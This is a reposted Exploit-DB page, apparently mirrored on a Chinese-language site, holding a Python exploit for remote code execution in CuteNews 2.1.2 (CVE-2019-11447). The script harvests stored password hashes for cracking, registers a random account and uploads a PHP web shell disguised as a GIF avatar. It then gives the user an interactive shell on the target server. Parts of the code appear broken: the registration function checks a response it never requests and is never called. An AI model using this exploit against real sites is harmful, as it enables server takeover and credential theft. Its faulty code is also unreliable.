CuteNews 2.1.2 – Remote Code Execution

Exploit Database
122 阅读

作者： Musyoka Ian

日期： 2020-09-10
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/48800/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

# Exploit Title: CuteNews 2.1.2 - Remote Code Execution

# Google Dork: N/A

# Date: 2020-09-10

# Exploit Author: Musyoka Ian

# Vendor Homepage: https://cutephp.com/cutenews/downloading.php

# Software Link: https://cutephp.com/cutenews/downloading.php

# Version: CuteNews 2.1.2

# Tested on: Ubuntu 20.04, CuteNews 2.1.2

# CVE : CVE-2019-11447

#! /bin/env python3

import requests

from base64 import b64decode

import io

import re

import string

import random

import sys

banner = """

_____ _____ ___ ______

/ ___/_ __/ /____ / |/ /__ ______ |_| </ |_|

/ /__/ // / __/ -_)/ -_) |/|/ (_-</ __/_ / / / __/

\___/\_,_/\__/\__/_/|_/\__/|__,__/___/ /____(_)_(_)____/

____________

/ _ \/ ___/ __/

/ , _/ /__/ _/

/_/|_|\___/___/

"""

print (banner)

print ("[->] Usage python3 expoit.py")

print ()

sess = requests.session()

payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>"

ip = input("Enter the URL> ")

def extract_credentials():

global sess, ip

url = f"{ip}/CuteNews/cdata/users/lines"

encoded_creds = sess.get(url).text

buff = io.StringIO(encoded_creds)

chash = buff.readlines()

if "Not Found" in encoded_creds:

print ("[-] No hashes were found skipping!!!")

return

else:

for line in chash:

if "<?php die('Direct call - access denied'); ?>" not in line:

credentials = b64decode(line)

try:

sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group(1)

print (sha_hash)

except:

pass

def register():

global sess, ip

userpass = "".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) for _ in range(10))

postdata = {

"action" : "register",

"regusername" : userpass,

"regnickname" : userpass,

"regpassword" : userpass,

"confirm" : userpass,

"regemail" : f"{userpass}@hack.me"

}

if 302 == register.status_code:

print (f"[+] Registration successful with username: {userpass} and password: {userpass}")

else:

sys.exit()

def send_payload(payload):

global ip

token = sess.get(f"{ip}/CuteNews/index.php?mod=main&opt=personal").text

signature_key = re.search('signature_key" value="(.*?)"', token).group(1)

signature_dsi = re.search('signature_dsi" value="(.*?)"', token).group(1)

logged_user = re.search('disabled="disabled" value="(.*?)"', token).group(1)

print (f"signature_key: {signature_key}")

print (f"signature_dsi: {signature_dsi}")

print (f"logged in user: {logged_user}")

files = {

"mod" : (None, "main"),

"opt" : (None, "personal"),

"__signature_key" : (None, f"{signature_key}"),

"__signature_dsi" : (None, f"{signature_dsi}"),

"editpassword" : (None, ""),

"confirmpassword" : (None, ""),

"editnickname" : (None, logged_user),

"avatar_file" : (f"{logged_user}.php", payload),

"more[site]" : (None, ""),

"more[about]" : (None, "")

}

payload_send = sess.post(f"{ip}/CuteNews/index.php", files = files).text

print("============================\nDropping to a SHELL\n============================")

while True:

print ()

command = input("command > ")

postdata = {"cmd" : command}

output = sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)

if 404 == output.status_code:

print ("sorry i can't find your webshell try running the exploit again")

sys.exit()

else:

output = re.sub("GIF8;", "", output.text)

print (output.strip())

if __name__ == "__main__":

print ("================================================================\nUsers SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\n================================================================")

extract_credentials()

print ("================================================================")

print()

print ("=============================\nRegistering a users\n=============================")

print()

print("=======================================================\nSending Payload\n=======================================================")

send_payload(payload)

print ()